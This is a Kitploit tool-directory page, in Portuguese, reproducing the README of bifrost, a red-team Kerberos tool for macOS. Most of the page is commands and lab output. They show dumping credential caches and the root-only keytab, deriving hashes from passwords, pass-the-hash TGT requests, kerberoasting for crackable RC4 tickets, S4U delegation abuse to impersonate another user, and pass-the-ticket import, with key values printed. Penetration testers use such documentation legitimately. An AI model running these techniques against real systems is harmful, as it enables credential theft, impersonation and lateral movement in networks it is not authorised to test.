Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
bifrost — Biblioteca Objective-C e console para interagir com APIs Heimdal para Kerberos no macOS | Kitploit
Ferramentas/GitHubGitHub/its-a-feature/bifrost
Ataques de SenhaExploraçãoTestes de PenetraçãoAutenticaçãoRed Teaming
GitHubits-a-feature/bifrost

bifrost

Biblioteca Objective-C e console para interagir com APIs Heimdal para Kerberos no macOS

Ver Repositório
15819há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Bifrost```


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (__/'()() () \___/'(____/_)

root@kitploit:~

Usage: ./bifrost -action [dump | list | askhash | describe | asktgt | asktgs | s4u | ptt | remove] For dump action: -source [tickets | keytab] for keytab, optional -path to specify a keytab for tickets, optional -name to specify a ccache entry to dump For list action: no other options are necessary For askhash action: -username a.test -password 'mypassword' -domain DOMAIN.COM optionally specify -enctype [aes256 | aes128 | rc4] or get all of them optionally specify -bpassword 'base64 of password' in case there might be issues with parsing or special characters For asktgt action: -username a.test -domain DOMAIN.COM if using a plaintext password, specify -password 'password' if using a hash, specify -enctype [aes256 | aes128 | rc4] -hash [hash_here] optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 if using a keytab, specify -enctype and -keytab [keytab path] to pull a specific hash from the keytab optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 For describe action: -ticket base64KirbiTicket For asktgs action: -ticket [base64 of TGT] -service [comma separated list of SPNs] optionally specify -connectDomain to connect to a domain other than the one specified in the ticket optionally specify -serviceDomain to request a service ticket in a domain other than the one specified in the ticket optionally specify -kerberoast true to indicate a request for rc4 instead of aes256 For s4u: -ticket [base64 of TGT] -targetUser [target user in current domain, or targetuser@domain for a different domain] -spn [target SPN] (if this isn't specified, just a forwardable S4U2Self ticket is requested as targetUser) optionally specify -connectDomain [domain or host to connect to] For ptt: -ticket [base64 of kirbi ticket] optionally specify -name [name] to import the ticket into a specific credential cache optionally specify -name new to import the ticket into a new credential cache For remove: for tickets: -source tickets -name [name here] (removes an entire ccache) for keytabs: -source keytab -principal [principal name] (removes all entries for that principal) for keytabs: optionally specify -name to not use the default keytab you can't remove a specific ccache principal entry since it seems to not be implemented in heimdal

root@kitploit:~
# Índice
- [Visão Geral](#overview)
- comandos
    - [list](#list)
    - [dump](#dump)  
        - [tickets](#tickets)  
        - [keytab](#keytab)  
    - [askhash](#askhash)  
    - [asktgt](#asktgt)
        - [com senha em texto plano](#with-plaintext-password)    
        - [com hash](#with-hash)
        - [com entrada keytab](#with-keytab-entry)
    - [describe](#describe)
    - [asktgs](#asktgs)
        - [domínios diferentes](#different-domains)
        - [kerberoasting](#kerberoasting)
    - [s4u](#s4u)
    - [ptt](#ptt)
    - [remove](#remove)
        - [cache de credenciais](#credential-cache)
        - [entrada keytab](#keytab-entry)
        
## Visão Geral
Bifrost é um projeto em Objective-C projetado para interagir com as APIs Heimdal krb5 no macOS. Bifrost compila em uma biblioteca estática (mas você pode alterar para um dylib se necessário), e bifrostconsole é um projeto de console simples que utiliza a biblioteca Bifrost. O objetivo do projeto é permitir melhores testes de segurança relacionados ao Kerberos em dispositivos macOS usando APIs nativas, sem exigir qualquer outro framework ou pacote no alvo.

Como isso precisa ser compilado em um Mac, e isso pode não estar facilmente disponível para todos para fins de teste, incluí uma versão compilada do console e da biblioteca na pasta "compiled_binaries". Como estas são pré-compiladas, espere que sejam fortemente assinadas e utilizáveis apenas para fins de teste pessoal.
## list
O comando `-action list` irá percorrer todos os caches de credenciais na memória e fornecer informações básicas sobre cada cache e cada entrada dentro dele. Também identificará o cache padrão com o marcador `[*]` e cada outro cache com o marcador `[+]`.```
spooky:~ lab_admin$ ./bifrost -action list
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 


[*] Principal: [email protected]
    Name: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
    Issued             Expires                Principal                    Flags
2019-11-13 18:00:20PST    2019-11-14 04:00:20PST    krbtgt/[email protected]    (forwardable renewable initial pre-auth )
1970-12-31 16:00:00PST    2019-12-13 18:00:21PST    krb5_ccache_conf_data/kcm-status@X-CACHECONF:    ()

dump

O comando -action dump pode extrair informações sobre keytabs ou caches de credenciais com base nas flags.

tickets

Para despejar tickets especificamente, use -source tickets. Por padrão, isso irá apenas iterar pelo cache de credenciais padrão. O cache de credenciais padrão pode ser identificado com o comando -action list e procurando pelo cache identificado com um marcador [*]. Para despejar um cache de credenciais específico, use a flag -name [nome aqui].

Cada ticket será descrito e despejado em um formato Kirbi base64 que pode então ser usado para outros comandos ou com outras ferramentas no Windows.``` spooky:~ lab_admin$ ./bifrost -action dump -source tickets


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

Client: [email protected] Principal: krbtgt/LAB.[email protected] Key enctype: aes256 Key: DUpykxCguZ9JtWML38nygb5Yyhvd1nGvy+MGReD7sXU= (0D4A729310A0B99F49B5630BDFC9F281BE58CA1BDDD671AFCBE30645E0FBB175) Expires: 2019-11-14 12:00:20 GMT Flags: forwardable renewable initial pre-auth Kirbi: doIFIDCCBRygBgIEAAA<...snip...>TE9DQUw=

Client: [email protected] Principal: krb5_ccache_conf_data/kcm-status@X-CACHECONF: Key enctype: 0 Key: () Expires: 2019-12-14 02:00:21 GMT Flags: Principal type: kcm-status Ticket Data: a3JiNQAAAAEAAAAA

root@kitploit:~
### keytab
Para despejar chaves keytab, use o parâmetro `-source keytab`. Por padrão, isso tentará despejar informações do keytab padrão (`/etc/krb5.keytab`) que é legível apenas pelo root. Para especificar outro keytab, use o argumento `-path /path/to/keytab`.

Cada entrada do keytab será descrita e a chave será despejada em base64 e hex.```
spooky:~ lab_admin$ ./bifrost -action dump -source keytab -path test
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] Resolving keytab path
[+] Successfully opened keytab
[+] principal: [email protected]
    Entry version: 3
    Key enctype: aes256
    Key: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1
    Timestamp: 2019-11-10 04:58:09 GMT
root@kitploit:~
bash-3.2$ sudo ./bifrost -action dump -source keytab
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] Resolving default keytab path
[+] Successfully opened keytab
[+] principal: afpserver/LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47@LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47
    Entry version: 2
    Key enctype: aes256
    Key: 75769776DD087E3C951C514F5DB8A8FAC9DF7BF0EC6FA50A8362C456146B833B
    Timestamp: 2018-10-27 03:26:13 GMT
[+] principal: cifs/LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47@LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47
    Entry version: 2
    Key enctype: aes256
    Key: 75769776DD087E3C951C514F5DB8A8FAC9DF7BF0EC6FA50A8362C456146B833B
    Timestamp: 2018-10-27 03:26:13 GMT
    <...snip...>
[+] principal: [email protected]
    Entry version: 2
    Key enctype: rc4
    Key: A12AD40BD124E6A9A14D65504E8EA30A
    Timestamp: 2019-11-14 02:11:20 GMT
[+] principal: [email protected]
    Entry version: 2
    Key enctype: aes256
    Key: C1BF6861A00B35A97483E820863FAD4ED57831D935DBFE2D501727C678503F73
    Timestamp: 2019-11-14 02:11:20 GMT
[+] principal: [email protected]
    Entry version: 2
    Key enctype: aes128
    Key: 1F44A5E5C7919C00F3166A1344D4FFDA

askhash

A -action askhash calculará os hashes necessários usados para solicitar TGTs e descriptografar respostas. Este comando requer a senha em texto simples com -password [senha aqui], mas se a senha contiver caracteres especiais que possam causar problemas, você sempre pode fornecer uma versão codificada em base64 da senha com -bpassword [senha base64 aqui]. Você também deve fornecer os parâmetros -username [nome de usuário] e -domain fqdn para que o salt adequado possa ser gerado.

Se você deseja obter os hashes para uma conta computer$, certifique-se de incluir o $ no nome de usuário. O salt para uma conta de computador é diferente do salt para uma conta de usuário.``` spooky:~ lab_admin$ ./bifrost -action askhash -username lab_admin -domain lab.local -bpassword YWJjMTIzISEh


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

Username: lab_admin Password: abc123!!! Domain: LAB.LOCAL Salt: LAB.LOCALlab_admin

Keys: AES128: CFE28C26EAF8DE4A0A2AE0CC69E6EB6B AES256: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1 RC4 : 8C1A1B4466CB7F145CAB016435B893EF

root@kitploit:~
## asktgt
O comando `-action asktgt` vai receber uma senha em texto simples, um hash, ou uma entrada de keytab e solicitar um TGT ao DC.  
### com senha em texto simples
Para usar uma senha em texto simples, você precisa fornecer `-username [username]` e `-domain [fqdn]` além de `-password [password]`. Se a senha contiver caracteres especiais que possam causar problemas, forneça `-bpassword [base64 of password]` em vez disso. Isso usará as APIs de Login Kerberos para solicitar um TGT normalmente e armazená-lo em um novo cache de credenciais. O Bifrost então extrairá o ticket desse cache e removerá o cache.```
spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -bpassword YWJjMTIzISEh
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] Requesting principal: [email protected]
[*] Requesting password: abc123!!!
[*] Creating TGT Request for [email protected]
[*] Requesting TGT into temporary CCache
[+] Successfully got TGT into new CCache: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
[*] Dumping ticket from new CCache and removing entry

Client: [email protected]
Principal: krbtgt/[email protected]
Key enctype: aes256
Key: lFfEz+OGE0IrlRiNbqN3KbkH1cC0Sb28eVJ8V2yp3EM= (9457C4CFE38613422B95188D6EA37729B907D5C0B449BDBC79527C576CA9DC43)
Expires: 2019-11-14 12:28:25 GMT
Flags: forwardable initial pre-auth 
Kirbi:
doIFDTCCBQm<...snip...>TA==

[+] Removed CCache entry: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
[+] Successfully obtained Kerberos ticket for principal lab_admin.

com hash

Para usar um hash, é necessário fornecer -username [username] e -domain [fqdn] além de -hash [hash here] e -enctype [aes256|aes128|rc4|des3]. Com apenas esses parâmetros, o Bifrost construirá tráfego Kerberos ASN1 manual e se conectará a [fqdn] na porta 88 para solicitar um TGT AES256 (especificamente, listando aes256, aes128 e rc4 como tipos de criptografia de retorno válidos). Isso pode ser modificado, é claro. Especificar a flag -supportAll false ajustará o tráfego para que o único tipo de resposta de criptografia suportado seja o mesmo que o hash. Alternativamente, você pode especificar -tgtEnctype [aes256|aes128|rc4] para solicitar um TGT de um tipo de criptografia específico, independentemente do tipo de hash fornecido.``` spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -enctype aes256 -hash 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1 -tgtEnctype rc4


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

[] Requesting hash type: 23 [] LAB.LOCAL resolved to : 192.168.205.150 [+] Successfully connected to remote domain [+] Successfully sent ASREQ [+] Successfully received ASREP [] Describing ticket Client: [email protected] Principal: krbtgt/LAB.[email protected] Start: 2019-11-14 02:33:11 GMT End: 2019-11-14 12:33:11 GMT Renew: 2019-11-21 02:33:11 GMT Key Type: ARCFOUR_HMAC Key Value: P7EYn0Y5BFcE7o0gONzEhQ== (3FB1189F4639045704EE8D2038DCC485) Flags: forwardable renewable initial pre-auth [] Creating Kirbi: doIFADCCBPygBgI<...snip...>FCLkxPQ0FM

root@kitploit:~
### com entrada keytab
Para usar um keytab, você precisa fornecer `-username [username]` e `-domain [fqdn]` além de `-enctype [aes256|aes128|rc4]` e `-keytab [path to keytab]`. O Bifrost então abrirá o keytab e procurará a entrada que corresponda ao nome de usuário, domínio e tipo de criptografia fornecidos e extrairá esse hash. Com apenas esses parâmetros, o Bifrost construirá tráfego ASN1 Kerberos manual e se conectará a `[fqdn]` na porta 88 para solicitar um TGT AES256 (especificamente, listando aes256, aes128 e rc4 como tipos de criptografia de retorno válidos). Isso pode ser modificado, é claro. Especificar a flag `-supportAll false` ajustará o tráfego para que o único tipo de resposta de criptografia suportado seja o mesmo que o hash. Alternativamente, você pode especificar `-tgtEnctype [aes256|aes128|rc4]` para solicitar um TGT de um tipo de criptografia específico, independentemente do tipo de hash fornecido.```
spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -enctype aes256 -keytab test
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] Resolving keytab path: test
[+] Successfully opened keytab
[*] Searching for principal: [email protected]
[*] Found match, retrieving key
[+] Using hash: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[+] Successfully sent ASREQ
[+] Successfully received ASREP
[*] Describing ticket
Client: [email protected]
Principal: krbtgt/[email protected]
Start: 2019-11-14 02:35:16 GMT
End:   2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: 4YgDg1Y8kIGg1xvfTpSmigdPo3KkdAqBMj54dSnXJtM= (E1880383563C9081A0D71BDF4E94A68A074FA372A4740A81323E787529D726D3)
Flags: forwardable renewable initial pre-auth 
[*] Creating Kirbi:
doIFIDCCBR<...snip...>DQUw=

describe

O comando -action describe irá extrair as informações de um arquivo Kirbi. Você precisa fornecer -ticket [base64 of Kirbi ticket].``` spooky:~ lab_admin$ ./bifrost -action describe -ticket doIFIDCCBRygBgIEAA<...snip...>Uw=


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

Client: [email protected] Principal: krbtgt/LAB.[email protected] Start: 2019-11-14 02:35:16 GMT End: 2019-11-14 12:35:16 GMT Renew: 2019-11-21 02:35:16 GMT Key Type: AES256_CTS_HMAC_SHA1_96 Key Value: 4YgDg1Y8kIGg1xvfTpSmigdPo3KkdAqBMj54dSnXJtM= (E1880383563C9081A0D71BDF4E94A68A074FA372A4740A81323E787529D726D3) Flags: forwardable renewable initial pre-auth

root@kitploit:~
## asktgs
O comando `-action asktgs` irá pedir ao KDC por um ticket de serviço com base em um TGT fornecido. Você precisa fornecer `-ticket [base64 of kirbi TGT]` e `-service [spn,spn,spn]`.```
spooky:~ lab_admin$ ./bifrost -action asktgs -ticket doIFIDC<...snip...>Uw= -service cifs/dc1-lab.lab.local,host/dc1-lab.lab.local
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to cifs/dc1-lab.lab.local as lab_admin
[+] Successfully sent TGSREQ
[+] Successfully received TGSREP
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: lab_admin
Requested Service: cifs/dc1-lab.lab.local
Ticket Encryption: 23
[*] Describing ticket
Client: [email protected]
Principal: cifs/[email protected]
Start: 2019-11-14 02:43:39 GMT
End:   2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: ARCFOUR_HMAC
Key Value: 06IYcTPmajAEvXCjTim9lA== (D3A2187133E66A3004BD70A34E29BD94)
Flags: forwardable renewable pre-auth 
[*] Creating Kirbi:
doIFEDCCBQ<...snip...>A==
[+] Successfully got service ticket
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to host/dc1-lab.lab.local as lab_admin
[+] Successfully sent TGSREQ
[+] Successfully received TGSREP
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: lab_admin
Requested Service: host/dc1-lab.lab.local
Ticket Encryption: 18
[*] Describing ticket
Client: [email protected]
Principal: host/[email protected]
Start: 2019-11-14 02:43:39 GMT
End:   2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: JGWDGXrjkzMD5Tr4dv+b6a5fR97IY8ycwoz1bHsywJw= (246583197AE3933303E53AF876FF9BE9AE5F47DEC863CC9CC28CF56C7B32C09C)
Flags: forwardable renewable pre-auth ok-as-delegate 
[*] Creating Kirbi:
doIFL<...snip...>w=
[+] Successfully got service ticket

domínios diferentes

Por padrão, o Bifrost consultará o TGT para obter informações sobre o domínio ao qual se conectar e o domínio do serviço. Se algum desses itens diferir do TGT, você pode especificá-los manualmente com -connectDomain [domínio para conectar] e -serviceDomain [domínio do serviço]. Por padrão, o Bifrost especifica que os tipos de criptografia aes256, aes128 e rc4 para o serviço resultante são aceitáveis (então você provavelmente receberá um ticket de serviço aes256).

kerberoasting

Se você não quiser receber um ticket de serviço aes256, mas sim algo mais crackeável, pode especificar a flag -kerberoast true para indicar que deseja que o ticket de serviço resultante seja rc4.``` spooky:~ lab_admin$ ./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

[] LAB.LOCAL resolved to : 192.168.205.150 [+] Successfully connected to remote domain [] Requesting service ticket to host/dc1-lab.lab.local as lab_admin [+] Successfully sent TGSREQ [+] Successfully received TGSREP [+] Parsing TGS-REP Client Domain: LAB.LOCAL Requesting account: lab_admin Requested Service: host/dc1-lab.lab.local Ticket Encryption: 23 [] Describing ticket Client: [email protected] Principal: host/dc1-[email protected] Start: 2019-11-14 02:49:01 GMT End: 2019-11-14 12:46:50 GMT Renew: 2019-11-21 02:46:50 GMT Key Type: ARCFOUR_HMAC Key Value: j3VcAqIgsLI38a4aqi0jOw== (8F755C02A220B0B237F1AE1AAA2D233B) Flags: forwardable renewable pre-auth ok-as-delegate [] Creating Kirbi: doIFE<...snip...>A== [+] Successfully got service ticket

root@kitploit:~
## s4u
O comando `-action s4u` utiliza delegação restrita baseada em recursos. Você precisa especificar `-ticket [base64 do TGT]`, `-targetUser [username]` (se o usuário estiver em outro domínio que não seja aquele para o qual o TGT é, especifique o usuário alvo como `[email protected]`). Neste ponto, o Bifrost realizará apenas o processo S4U2Self. Para completar o processo e também realizar o S4U2Proxy, especifique adicionalmente `-spn [target spn]`. Se você precisar se conectar a um domínio diferente daquele especificado no TGT, você pode especificar `-connectDomain [fqdn]`. Esta sequência irá novamente criar tráfego Kerberos ASN1 manual pela porta 88.```
*** Using the TGT of the "alice" account, which has an SPN set (HTTP/spooky.lab.local) and has the userAccountControl flag for TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION set to true (0x1000000) and has msDS-AllowedToDelegateTo set to the SPN of cifs/dc1-lab.lab.local ***

spooky:~ lab_admin$ ./bifrost -action s4u -targetUser lab_admin -spn cifs/dc1-lab.lab.local -ticket doIF<...snip...>QUw=
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to alice as lab_admin
[+] Successfully sent request
[+] Successfully received response
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: [email protected]
Requested Service: alice
Ticket Encryption: 23
[*] Describing ticket
Client: [email protected]@LAB.LOCAL
Principal: [email protected]
Start: 2019-11-14 04:17:45 GMT
End:   2019-11-14 13:59:56 GMT
Renew: 2019-11-21 03:59:56 GMT
Key Type: ARCFOUR_HMAC
Key Value: MV4AR2rIg23e8uj0LmuP4w== (315E00476AC8836DDEF2E8F42E6B8FE3)
Flags: forwardable renewable pre-auth 
[*] Creating Kirbi:
doIFQD<...snip...>ZQ==
[*] Impersonating [email protected] to service cifs/[email protected] via S4U2Proxy
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[+] Successfully sent request
[+] Successfully received response
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: [email protected]
Requested Service: cifs/dc1-lab.lab.local
Ticket Encryption: 18
[*] Describing ticket
Client: [email protected]@LAB.LOCAL
Principal: cifs/[email protected]
Start: 2019-11-14 04:17:45 GMT
End:   2019-11-14 13:59:56 GMT
Renew: 2019-11-21 03:59:56 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: qvO9Rh88ju+LlobxDwdS9fAy9MjqVg/FOfS/RCxVOlo= (AAF3BD461F3C8EEF8B9686F10F0752F5F032F4C8EA560FC539F4BF442C553A5A)
Flags: forwardable renewable pre-auth ok-as-delegate 
[*] Creating Kirbi:
doIG<...snip...>9jYWw=

Agora pode usar esse bilhete Kirbi final para aceder a cifs/dc1-lab.lab.local como lab_admin mesmo que o TGT usado para todo o processo tenha sido o de LAB\alice.

ptt

O comando -action ptt recebe um bilhete (TGT ou bilhete de serviço) e importa-o para uma cache de credenciais especificada ou cria uma nova cache de credenciais. Precisa de especificar -ticket [base64 do bilhete] e -name [nome completo da cache de credenciais] para adicionar o bilhete à cache especificada, ou -name new para criar uma nova cache de credenciais e importar o bilhete para lá.``` spooky:~ lab_admin$ ./bifrost -action list


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

spooky:~ lab_admin$ ./bifrost -action ptt -cache new -ticket doI<...snip...>QUw=


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

[+] Successfully parsed Kirbi data [] Converting ticket to ccache cred [+] Successfully converted ticket to ccache cred [] Creating new ccache [*] Saving credential for krbtgt/LAB.LOCAL [+] Successfully imported credential spooky:~ lab_admin$ ./bifrost -action list


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

[*] Principal: [email protected] Name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F Issued Expires Principal Flags 2019-11-13 18:58:06PST 2019-11-14 04:58:06PST krbtgt/LAB.[email protected] (forwardable renewable initial pre-auth )

root@kitploit:~
## remove
O comando `-action remove` remove caches ou entradas de keytab.
### cache de credenciais
Para remover uma cache de credenciais, você precisa especificar `-source tickets` e `-name [cache name  here]`. Isso remove a cache inteira. Pelo que posso perceber com as APIs krb5 Heimdal, você não pode remover uma entrada de credencial específica - o MITKerberosShim relata que as funções necessárias não estão implementadas.```
spooky:~ lab_admin$ ./bifrost -action list
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 


[*] Principal: [email protected]
    Name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
    Issued             Expires                Principal                    Flags
2019-11-13 18:58:06PST    2019-11-14 04:58:06PST    krbtgt/[email protected]    (forwardable renewable initial pre-auth )
spooky:~ lab_admin$ ./bifrost -action remove -source tickets -name API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] Resolving CCache name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
[+] Successfully resolved CCache name
[+] Successfully removed CCache
spooky:~ lab_admin$ ./bifrost -action list
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

spooky:~ lab_admin$ 

entrada keytab

Para remover um principal de um keytab, você precisa especificar -source keytab e -principal [nome do principal]. Por padrão, isso procurará o principal no keytab padrão, mas se quiser usar um keytab específico, especifique-o com -name [caminho para keytab].

Baixar ferramenta